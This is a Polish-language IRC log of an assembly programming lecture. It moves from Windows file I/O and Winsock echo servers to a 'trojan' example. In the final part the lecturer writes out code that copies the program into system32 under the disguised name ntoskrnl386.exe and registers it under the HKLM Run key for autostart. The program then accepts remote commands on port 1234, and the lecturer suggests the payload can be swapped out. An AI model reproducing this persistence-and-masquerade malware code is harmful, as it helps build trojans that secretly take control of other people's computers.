20:40 <@fr3m3n> <:
20:40 <@fr3m3n> netx0r: hm? ;p
20:41 < Robol> za szybko to idzie
20:41 <@fr3m3n> no
20:41 <@fr3m3n> netx0r:
20:42 <@fr3m3n> Robol: hmm a czego nie rozumiesz?
20:42 <@fr3m3n> bo jak rozumiesz to jest ok :>
20:42 < netx0r> re, juz nie ;)
20:42 < d0b0c0p> fr3m3n: btw
20:42 < d0b0c0p> proponowalbym wyklady o winapi w c ;>
20:42 <@fr3m3n> byly jakies
20:42 <@fr3m3n> ok
20:42 < d0b0c0p> troszke czytelniejszy kod, a by sie ludu na pewno przydalo
20:42 <@fr3m3n> d0b0c0p: z tym nie do mnie, ja w asmie pisze :>
20:43 <@fr3m3n> ok
20:43 <@fr3m3n> http://www.cenobium.org/fr3m3n/wyklad/pliki.ASM
20:43 <@fr3m3n> mamy tu przyklad: utworzenia pliku i zapisania do niego :>
20:43 <@fr3m3n> xor esi,esi ;zeby zaoszczedzic miejsce
20:43 <@fr3m3n> invoke CreateFile,plik,GENERIC_READ+GENERIC_WRITE,esi,esi,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL+\
20:43 <@fr3m3n> FILE_FLAG_SEQUENTIAL_SCAN,esi
20:43 <@fr3m3n> cmp eax,0xFFFFFFFF ;kod bledu
20:43 <@fr3m3n> jz _exit
20:44 <@fr3m3n> xor esi,esi jest po to, zeby zaoszczedzic miejsce (no i bedize szybciej)
20:44 <@fr3m3n> pushowanie rejestru jest szybsze i zajmuje mniej miejsca niz pushowanie wartosci immediate
20:44 <@fr3m3n> czyli np push 0
20:44 <@fr3m3n> 0 to bedzie tzw immediate
20:44 <@fr3m3n> i zajmuje to dwa bajty, a push esi jeden
20:44 <@fr3m3n> ok
20:45 <@fr3m3n> skladnie CreateFile wyglada tak
20:45 <@fr3m3n> LPCTSTR lpFileName
20:45 <@fr3m3n> czyli adres lancucha znakow, nazwa pliku
20:45 <@fr3m3n> DWORD dwDesiredAccess
20:45 <@fr3m3n> prawa dostepu do pliku jakie chcemy uzyskac
20:46 <@fr3m3n> chcemy cyztac i pisac, wiec GENERIC_READ+GENERIC_WRITE
20:46 <@fr3m3n> mozliwe jest 0, tzw query access
20:46 <@fr3m3n> uzyteczny glownie do np dyskow twardych
20:46 <@fr3m3n> czy napedow
20:46 <@fr3m3n> DWORD dwShareMode
20:47 <@fr3m3n> jak chcemy 'dzielic' sie plikiem
20:47 <@fr3m3n> mozna dac czytanie - wtedy plik bedize mogl byc czytany przez kilkanascie procesow naraz
20:47 <@fr3m3n> zapis - bedzie mogl byc zapisywany przez kilka procesow naraz
20:47 <@fr3m3n> i kasowanie
20:48 <@fr3m3n> tzn ze pozwalamy innemu programowi skasowac nasz plik :>
20:48 <@fr3m3n> LPSECURITY_ATTRIBUTES lpSecurityAttributes
20:48 <@fr3m3n> zaawansowane wlasciwie bezpieczenstwo, okresla sie tam np czy uchwyt pliku moze byc dziedziczony przez procesy potomne
20:48 <@fr3m3n> niczego takiego nie potrzebujemy, wiec 0
20:49 <@fr3m3n> DWORD dwCreationDistribution
20:49 <@fr3m3n> jak otworzyc
20:49 <@fr3m3n> mozna 'powiedizec' createfile
20:49 <@fr3m3n> ze chcemy: stworzyc plik jesli nie istnieje, w przeciwnym wypadku otworzyc
20:49 <@fr3m3n> zawsze tworzyc
20:49 <@fr3m3n> skrocic istniejacy
20:49 <@fr3m3n> (tzn ustaiwc jego dlugosc na 0)
20:50 <@fr3m3n> wlasciwie rownoznaczne z zawsze tworzyc
20:50 <@fr3m3n> w sensie logicznym
20:50 <@fr3m3n> a, jeszcze CREATE_NEW - tworzy tylko jesli plik nie istnieje
20:50 <@fr3m3n> w przeciwnym razie zwraca blad
20:50 <@fr3m3n> w tym wypadku dalem CREATE_ALWAYS - tworz zawsze
20:51 <@fr3m3n> DWORD dwFlagsAndAttributes
20:51 <@fr3m3n> atrybuty pliku ktory tworzymy
20:51 <@fr3m3n> read-only, ukryty, itd
20:51 <@fr3m3n> sa tam jeszcze flagi do obslugi operacji na pliku
20:51 <@fr3m3n> FILE_SEQUENCED_SCAN informuje system, ze plik bedzie 'uzywany' po kolei
20:52 <@fr3m3n> pozwala to zoptymalizowac dostep
20:52 <@fr3m3n> ma to szczegolne znaczenie w duzych plikach
20:52 <@fr3m3n> istnieja jeszzcze inne, np FILE_FLAG_NO_BUFFERING - plik zapisuje sie odrazu na dysk
20:53 <@fr3m3n> i mozemy odczytywac dane tylko bedace wielokrotnosciami rozmiaru sektora
20:53 <@fr3m3n> itd
20:53 <@fr3m3n> dalem FILE_SEQUENCED_SCAN, ale to nie ma wiekszego znaczenia
20:53 <@fr3m3n> plik jest za maly po prostu :)
20:53 <@fr3m3n> HANDLE hTemplateFile
20:54 <@fr3m3n> a to jest template, czyli atrybuty itd zapisane 'gdzies indziej' przydatne jak chcemy stworzuc duzo podobnych plikow...
20:54 <@fr3m3n> ok
20:55 <@fr3m3n> mov ebp,eax ;ebp=uchwyt pliku
20:55 <@fr3m3n> push eax
20:55 <@fr3m3n> mov eax,esp
20:55 <@fr3m3n> invoke WriteFile,ebp,dane,dane_len,esp,0
20:55 <@fr3m3n> wstawia do ebp uchwyt pliku
20:55 <@fr3m3n> i zapisuje do niego tekst
20:56 <@fr3m3n> czyli tworzy sie plik plik.txt
20:56 <@fr3m3n> z tym tekstem
20:56 <@fr3m3n> ah
20:56 <@fr3m3n> maly blad
20:56 <@fr3m3n> usuncie to bufor rb 32
20:56 <@fr3m3n> bo zapisuje sie i on
20:57 <@fr3m3n> a nie powiniene
20:57 <@fr3m3n> mozna zakomentiwac ;
20:57 <@fr3m3n> jak sie spytal robol
20:57 <@fr3m3n> co oznacza
20:57 <@fr3m3n> dane_len equ $-dane
20:57 <@fr3m3n> oznacza on dlugosc tekstu do zapisania
20:57 <@fr3m3n> $ to obecne miejsce w kodzie
20:57 <@fr3m3n> a dane to etykieta
20:57 <@fr3m3n> wiec odejmujac obecne miejsce w kodzie
20:58 <@fr3m3n> od etykiety, otrzymamy odleglosc miedzy nimi
20:58 <@fr3m3n> czyli dlugosc tekstu
20:58 <@fr3m3n> (i dlatego trzeba zakomentowac to bufor, moj blad)
20:58 <@fr3m3n> coz, wiec taki program po uruchomieniu zapisuje nam tekst do pliku plik.txt
20:58 <@fr3m3n> pliki mozna czytac funkcje
20:59 <@fr3m3n> ah, skladni writefile zapomnialem
21:00 <@fr3m3n> WriteFile(uchwyt_pliku,adres danych,dlugosc danych,adres_zmiennej_ile bajtow zapisanych,adres struktury dla asynchronicznego i/o);
21:00 <@fr3m3n> tych dwoch ostatnich nie potrzebujemy
21:00 <@fr3m3n> dlatego ostatni jest zerem, a przedostatni adresem na stosie
21:00 <@fr3m3n> ktory zaraz zostanie zdjety i zapomniany :>
21:01 <@fr3m3n> skladnia ReadFile jest taka sama, z tym ze zamiast zapisywac, czyta do bufora :>
21:01 <@fr3m3n> tu takie male zadanie: zmiencie program tak, zeby wyswietlil wam zawartosc pliku
21:01 <@fr3m3n> nalezy zmienic cos w funkcji CreateFile, i odkomentowac kod
21:01 <@fr3m3n> ten na dole
21:01 <@fr3m3n> i przeniesc bufor na sam dol sekcji danych
21:01 <@fr3m3n> czyli zamiast
21:02 <@fr3m3n> ok_zapis db 'Dane zapisane!',0
21:02 <@fr3m3n> bufor rb 32
21:02 <@fr3m3n> dane_len equ $-dane
21:02 <@fr3m3n> dac:
21:02 <@fr3m3n> ok_zapis db 'Dane zapisane!',0
21:02 <@fr3m3n> dane_len equ $-dane
21:02 <@fr3m3n> bufor rb 32
21:02 <@fr3m3n> i po zmianie parametru odczytu powinno sie ladnie odczytac :)
21:02 <@fr3m3n> ok, za chwile bedzie siec :)
21:02 <@fr3m3n> sa pytania?
21:02 < twoJ> doszly mnie wiesci ze kaczka przejmuje wladze
21:03 < twoJ> 21:02:21 <@fr3m3n> dac:
21:03 < twoJ> [21:03:18] [twoJ(+i)] [4:#wyklady(+nt)]
21:03 < twoJ> http://www.onet.pl/f60
21:03 < twoJ> f'
21:03 <@fr3m3n> o?
21:03 < twoJ> tzn obie kaczki
21:03 < twoJ> wyjebali marcinkiewicza
21:03 < twoJ> ja wypierdalam z tego kraju
21:03 <@fr3m3n> fajnie
21:03 < twoJ> dobra kontynuuj
21:03 < d0b0c0p> cya 2j
21:03 < twoJ> papa
21:04 <@fr3m3n> dobra, teraz stworzymy po kolei: serwer local echo, serwer z watkami, i na koncu serwer w formie trojana :)
21:05 <@fr3m3n> http://www.cenobium.org/fr3m3n/wyklad/serwer_le.asm
21:05 <@fr3m3n> te stale sa potrzebne, bo fasm ich nie ma
21:05 <@fr3m3n> w swoich plikach
21:06 <@fr3m3n> ok
21:06 <@fr3m3n> stirng 'tekst'
21:06 <@fr3m3n> jest uzywany jako informacja o bledach
21:06 <@fr3m3n> wraz z uzyciem kolejnej funkcji litera jest inkrementowana
21:06 <@fr3m3n> dzieki temu dokladnie wiadomo co i jak zle poszlo, jakby poszlo :)
21:07 <@fr3m3n> invoke WSAStartup,002h,wsadata
21:07 <@fr3m3n> test eax, eax
21:07 <@fr3m3n> jnz _error ;error A
21:07 <@fr3m3n> inicjalizacja systemu winsock, informujemy system ze chcemy z niego korzystac...
21:07 <@fr3m3n> pierwszy numer to numer wersjli, 002h tlumaczy sie na 2.0
21:07 <@fr3m3n> tzn winsock 2.0
21:08 <@fr3m3n> invoke socket,PF_INET,SOCK_STREAM,0 ;stworz socket, tcp/ip
21:08 <@fr3m3n> inc byte[tekst+6]
21:08 <@fr3m3n> cmp eax, INVALID_SOCKET
21:08 <@fr3m3n> jz _error ;error B
21:08 <@fr3m3n> mov ebp, eax ;rejestr ebp przechowuje deskryptor socketu
21:08 <@fr3m3n> stwarzamy socket
21:08 <@fr3m3n> PF_INET - typ sieci
21:08 <@fr3m3n> PF_INET oznacza ip
21:08 <@fr3m3n> (4)
21:09 <@fr3m3n> dalej mamy protokol, SOCK_STREAM czyli po prostu tcp
21:09 <@fr3m3n> trzeci parametr to typ adresu, jesli na poczatku podalismy AF_UNSPEC, czyli nie ustalony...
21:10 <@fr3m3n> nigdy tego nie potrzebowalem
21:10 <@fr3m3n> po pomyslnym stworzeniu socketu do rejestru ebp wstawiamy jego deskryptor
21:10 <@fr3m3n> dalej jest:
21:10 <@fr3m3n> invoke bind,ebp,_sockaddr,sizeof.sockaddr_in ;'podlacz' do portu 1234
21:11 <@fr3m3n> pierwszy argument to deskryptor socketu,drugi adres struktury sockaddr,trzeci jej wielkosc
21:11 <@fr3m3n> w tej strukturze podaje sie takie informacje jak numer portu
21:11 <@fr3m3n> jakie adresy ip sa dozwolone
21:11 <@fr3m3n> itd
21:11 <@fr3m3n> _sockaddr sockaddr_in PF_INET,\ ;typ sieci-ip
21:11 <@fr3m3n> 0xD204,\ ;port 1234, z odwroconymi bajtami - na high endian
21:11 <@fr3m3n> INADDR_ANY ;przyjmujemy polaczenia od kazdego adresu
21:12 <@fr3m3n> jak czesc osob wie, a czesc nie wie, w sieci uzywa sie big endian, odwrotnego do little endian na ktorym dziala x86, dlatego port 1234 jest odwrocony
21:12 <@fr3m3n> invoke listen,ebp,1
21:13 <@fr3m3n> to ustawia socket w tryb nasluchiwania, z max 1 polaczeniem w kolejce oczekujacych
21:13 <@fr3m3n> tzn ze zanim zdazymy obsluzyc wywolanie, kolejka nie moze wzrosnac wiecej niz 1 polaczenie oczekujace
21:13 <@fr3m3n> listen nie wraca, dopoki nie ma choc jednego polaczenia
21:14 <@fr3m3n> nie, sory
21:14 <@fr3m3n> przeskoczylem w myslach'
21:14 <@fr3m3n> invoke accept, ebp,0,0
21:14 <@fr3m3n> accept oczekuje na polaczenie i nie wraca az jakies nie nadejdzie
21:15 <@fr3m3n> drugi argument to sockaddr, mozna dac adres tej struktury, wtedy zostanie wypelniona informacji o tym kto sie do nas laczy
21:15 <@fr3m3n> jego adres ip i port
21:15 <@fr3m3n> 3 argument to dlugosc struktury sockaddr
21:15 <@fr3m3n> kiedy accept wraca, oznacza to ze ktos sie probuje do nas polaczyc :>
21:16 <@fr3m3n> accept zwraca nowy socket, stworzony na nowe polaczenie
21:16 <@fr3m3n> pozniej jest petla:
21:16 <@fr3m3n> .odbieraj:
21:16 <@fr3m3n> push eax ;bufor 4 bajtowy
21:16 <@fr3m3n> mov edi,esp
21:16 <@fr3m3n> invoke recv,ebx,edi,4,0 ;ebp=adres bufora,4=wielkosc
21:16 <@fr3m3n> test eax, eax ;czy eax=0 ?
21:16 <@fr3m3n> jz .koniec ;tak, koniec polaczenia, zakoncz watek
21:16 <@fr3m3n> cmp byte[edi],'c' ;jesli to c, zakoncz watek
21:16 <@fr3m3n> jz .koniec
21:16 <@fr3m3n> cmp byte[edi],'x' ;jesli to x, zamknij caly serwer
21:16 <@fr3m3n> jz _exit
21:16 <@fr3m3n> invoke send,ebx,edi,4,0
21:16 <@fr3m3n> cmp eax, SOCKET_ERROR
21:16 <@fr3m3n> jz .koniec
21:16 <@fr3m3n> jmp .odbieraj
21:17 <@fr3m3n> push eax - wstawia na stos eax, czyli po prostu alokuje 4 bajty
21:17 <@fr3m3n> bedzie to bufor na przysylane dane
21:17 <@fr3m3n> recv odbiera je z socketa
21:17 <@fr3m3n> skladnia:
21:18 <@fr3m3n> recv(socket,bufor,wielkosc bufora,flagi)
21:18 <@fr3m3n> 3 pierwsze jak sadze sa jasne, flagi to moge byc MSG_PEEK i MSG_OOB
21:18 <@fr3m3n> MSG_PEEK pobiera dane ale nie usuwa ich z kolejki, natomiast msg_oob pobiera tzw out-of-band data
21:19 <@fr3m3n> sa to pakiety z ustawiona flaga 'urgent data' z tego co pamietam
21:19 <@fr3m3n> po odczytaniu danych, program sprawdza czy:
21:19 <@fr3m3n> jest to c
21:19 <@fr3m3n> cmp byte[edi],'c' ;jesli to c, zakoncz watek
21:19 <@fr3m3n> jz .koniec
21:19 <@fr3m3n> cmp byte[edi],'x' ;jesli to x, zamknij caly serwer
21:19 <@fr3m3n> jz _exit
21:19 <@fr3m3n> albo x
21:20 <@fr3m3n> c zakonczy polaczenie, ale nie porgarm
21:20 <@fr3m3n> x zakonczy polaczenie+program
21:20 <@fr3m3n> jesli to nie c albo x, program odesle nam nasze znaki
21:20 <@fr3m3n> local echo
21:20 <@fr3m3n> mozna uruchomic program, a pozniej polaczyc sie telnetem do niego
21:20 <@fr3m3n> telnet 127.0.0.1 1234
21:20 <@fr3m3n> mozna dodac np wyswietlenie okienka na jakas literke cyz cos
21:21 <@fr3m3n> ok, teraz serwer na watkach
21:21 <@fr3m3n> http://www.cenobium.org/fr3m3n/wyklad/serwer_le_watki.asm
21:22 <@fr3m3n> watek to kod wykonywany 'rownolegle', ale w tej samej przestrzeni adresowej
21:22 <@fr3m3n> tzn wszystkie watki maja dostep do swoich zmiennych itd
21:22 <@fr3m3n> w przypadku procesow kazdy jest calkowicie osobny
21:22 <@fr3m3n> w tym kodzie, jak nadejdzie polaczenie jest tworzony nowy watek do jego obslugi
21:23 <@fr3m3n> a glowny watek wraca do nasluchiwania na nowe polaczenia
21:23 <@fr3m3n> invoke CreateThread,0,256,polaczenie,eax,0,esp
21:24 <@fr3m3n> pierwszy argument to atrybuty bezpieczenstwa, nie potrzebne w tym przypadku
21:24 <@fr3m3n> drugi - poczatkowy rozmiar stosu dla nowego watku
21:24 <@fr3m3n> 256 powinien byc wystarczajacy
21:24 <@fr3m3n> 3 argument to adres funkcji, od ktorej ma sie zaczac wykonywanie nowego watku
21:25 <@fr3m3n> pozniej jest argument dla nowego watku - eax, czyli socket na ktorym jest nowe polaczenie
21:25 <@fr3m3n> przedostatni to flagi watku, np CREATE_SUSPENED - tworzy watek, ale go nie uruchamia
21:26 <@fr3m3n> ostatni parametr to adres zmiennej dla ThreadID - nie potrzebny tutaj, wiec adres zmiennej na stosie, usuwanej pozniej
21:26 <@fr3m3n> kod dla obslugi polaczenia jest taki sam, z tym ze zamiast skoku do accept jest ExitThread
21:26 <@fr3m3n> konczy to po prostu watek
21:27 <@fr3m3n> invoke closesocket, ebp,SD_BOTH
21:27 <@fr3m3n> invoke ExitThread, 0
21:27 <@fr3m3n> inne wciaz dzialaja
21:27 <@fr3m3n> mozna teraz to uruchomic i polazyc sie np 20 razy
21:27 <@fr3m3n> nacisniecie x zakonczy wszystkie polaczenia
21:27 <@fr3m3n> nacisniecie c tylko jedno
21:27 <@fr3m3n> ok
21:27 <@fr3m3n> pytania?
21:28 < Robol> tym sposobem mozna sie polaczyc z innym kompem i mu wylaczyc serva?
21:28 < Robol> uruchom ktos, a ja wylacze ;]
21:28 <@fr3m3n> mozna :)
21:28 <@fr3m3n> ja nie mam publicznego ip, wiec ci nie pomoge
21:28 <@fr3m3n> zrobic jeszcze trojan, czy juz zakonczyc?
21:28 < Robol> no dajcie ktos ;]
21:29 < Robol> ascie sa ;P
21:29 < cauchy> ~~
21:29 < ajdzi> kontynuj :)
21:29 < netx0r> re all
21:29 <@R3xi0> Re netx0r
21:29 < netx0r> nadal jest wyklad?
21:29 < Robol> tak
21:29 < netx0r> aa juz widze, ze jest jeszcze;]
21:30 <@fr3m3n> jeszcze moge trojana poruszyc :>
21:30 < Robol> jeszcze trojanik zostal ;]
21:30 <@fr3m3n> no dobra
21:30 <@fr3m3n> http://www.cenobium.org/fr3m3n/wyklad/loltrojan.asm
21:30 <@fr3m3n> nie jest to specjalnie skomplikowane, pisane na szybko
21:31 <@fr3m3n> jedyna funkcja jaka sie rozni od poprzednich kodow to m
21:31 <@fr3m3n> wyswietla msgbox :p
21:31 <@fr3m3n> ale bez problemu mozna dac h4x0rskie sztuczki w stylu wysuwanie cdromu ;p
21:31 <@fr3m3n> starczy zmienic msgboxa na inna funkcje
21:31 <@fr3m3n> ok, omowie nowe rzeczy
21:32 <@fr3m3n> invoke GetSystemDirectory,edi,256
21:32 <@fr3m3n> funkcja zwraca katalog systemowy windows, czyli system32 w systemach 32 bitowych
21:32 <@fr3m3n> i system w systemach 16/32 bitowych takich jak win9x/me
21:33 <@fr3m3n> invoke GetModuleFileName,0,esi,256
21:33 <@fr3m3n> pobiera katalog + nazwe pliku uruchamianego
21:33 <@fr3m3n> tzn pobiera sciezkie do siebie :)
21:34 <@fr3m3n> ten kod ktory widac ponizej
21:34 <@fr3m3n> ;edi=folder system32
21:34 <@fr3m3n> ;esi=folder gdzie jest plik
21:34 <@fr3m3n> push edi
21:34 <@fr3m3n> push esi ;zachowaj rejestry
21:34 <@fr3m3n> @@: ;zmien wszystkie litery na male,GetModuleFileHandle i GetSystemDirectory zwracaja
21:34 <@fr3m3n> ;rozniace sie sciezki
21:34 <@fr3m3n> mov eax,esi
21:34 <@fr3m3n> call Na_male
21:34 <@fr3m3n> mov eax,edi
21:34 <@fr3m3n> mov ecx,ebx
21:34 <@fr3m3n> call Na_male
21:34 <@fr3m3n> mov ecx,ebx
21:34 <@fr3m3n> repz cmpsb
21:34 <@fr3m3n> pop esi
21:34 <@fr3m3n> pop edi
21:34 <@fr3m3n> jz run ;taka sama sciezka, nie kopiujemy pliku znowu
21:34 <@fr3m3n> sprawdza, czy plik znajduje sie w katalogu system32 w katalogu windows
21:35 <@fr3m3n> zeby nie kopiowac sie za kazdym razem przy starcie systemu
21:35 <@fr3m3n> jak stwierdzi ze jest, to uruchamia serwer
21:35 <@fr3m3n> zamiast kopiowac sie + dodawac wpis w rejestrze
21:36 <@fr3m3n> jak stwierdzi ze nie
21:36 <@fr3m3n> ;ustal sciezke zapisu pliku na %windir%\system32\ntoskrnl386.exe
21:36 <@fr3m3n> mov dword[edi+ebx],'\nto'
21:36 <@fr3m3n> mov dword[edi+ebx+4],'skrn'
21:36 <@fr3m3n> mov dword[edi+ebx+8],'l386'
21:36 <@fr3m3n> mov dword[edi+ebx+12],'.exe'
21:36 <@fr3m3n> mov byte[edi+ebx+16],0
21:36 <@fr3m3n> invoke CopyFile,esi,edi,0
21:36 <@fr3m3n> to kopiuje sie tam, pod nazwa ntoskrnl386.exe ;p
21:36 <@fr3m3n> pierwszy parametr copyfile to obecna sciezka, drugi to gdzie skopiowac
21:36 <@fr3m3n> trzeci to 'bool failifexit'
21:37 <@fr3m3n> czyli, nie skopiuj jesli plik juz istnieje
21:37 <@fr3m3n> dalem na false, czyli skopiuje
21:37 <@fr3m3n> to wlasciei nie ma wiekszego znaczenia
21:38 <@fr3m3n> ;plik skopowiany
21:38 <@fr3m3n> ;dodaj autostart do rejestru
21:38 <@fr3m3n> push eax ;<- handle
21:38 <@fr3m3n> invoke RegOpenKey,HKEY_LOCAL_MACHINE,software,esp
21:38 <@fr3m3n> test eax,eax
21:38 <@fr3m3n> jnz _exit
21:38 <@fr3m3n> mov eax,[esp]
21:38 <@fr3m3n> push eax
21:38 <@fr3m3n> invoke RegOpenKey,eax,microsoft,esp
21:38 <@fr3m3n> test eax,eax
21:38 <@fr3m3n> jnz _exit
21:38 <@fr3m3n> mov eax,[esp]
21:39 <@fr3m3n> push eax
21:39 <@fr3m3n> invoke RegOpenKey,eax,windows,esp
21:39 <@fr3m3n> test eax,eax
21:39 <@fr3m3n> jnz _exit
21:39 <@fr3m3n> mov eax,[esp]
21:39 <@fr3m3n> push eax
21:39 <@fr3m3n> invoke RegOpenKey,eax,currentv,esp
21:39 <@fr3m3n> test eax,eax
21:39 <@fr3m3n> jnz _exit
21:39 <@fr3m3n> mov eax,[esp]
21:39 <@fr3m3n> push eax
21:39 <@fr3m3n> invoke RegOpenKey,eax,runkey,esp
21:39 <@fr3m3n> test eax,eax
21:39 <@fr3m3n> jnz _exit
21:39 <@fr3m3n> mov eax,[esp] ;eax-> handle
21:39 <@fr3m3n> invoke RegSetValueEx,eax,ntoskrnl386,0,REG_SZ,ntoskrnl386,16
21:39 <@fr3m3n> test eax,eax
21:39 <@fr3m3n> jnz _exit
21:39 <@fr3m3n> invoke RegCloseKey
21:39 <@fr3m3n> invoke RegCloseKey
21:39 <@fr3m3n> invoke RegCloseKey
21:39 <@fr3m3n> a to nam doda plik do autostartu :)
21:39 <@fr3m3n> dokladniej
21:40 <@fr3m3n> HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
21:40 <@fr3m3n> skladnia RegOpenKey jest taka
21:41 <@fr3m3n> RegOpenKey(uchwyt_klucza,jaki_klucz_otworzyc,adres_gdzie_umiescic_uchwyt_nowego_klucza)
21:41 <@fr3m3n> naraz mozna otworzyc tylko jeden klucz
21:42 <@fr3m3n> wiec dlatego tyle wywolan
21:42 <@fr3m3n> pod koniec jest ustalenie tej wartosci
21:43 <@fr3m3n> HKEY hKey, // handle of key to set value for
21:43 <@fr3m3n> LPCTSTR lpValueName, // address of value to set
21:43 <@fr3m3n> DWORD Reserved, // reserved
21:43 <@fr3m3n> DWORD dwType, // flag for value type
21:43 <@fr3m3n> CONST BYTE *lpData, // address of value data
21:43 <@fr3m3n> DWORD cbData // size of value data
21:44 <@fr3m3n> uchwyt klucza, string z nazwa wartosci, zarezerowane, typ (czyli REG_SZ - string),adres stringa - wartosc,rozmiar wartosci
21:44 <@fr3m3n> reszta kodu taka sama
21:45 <@fr3m3n> tylko z ta roznica co juz mowilem, m powoduje wyswietlenie msgboxa
21:45 <@fr3m3n> ok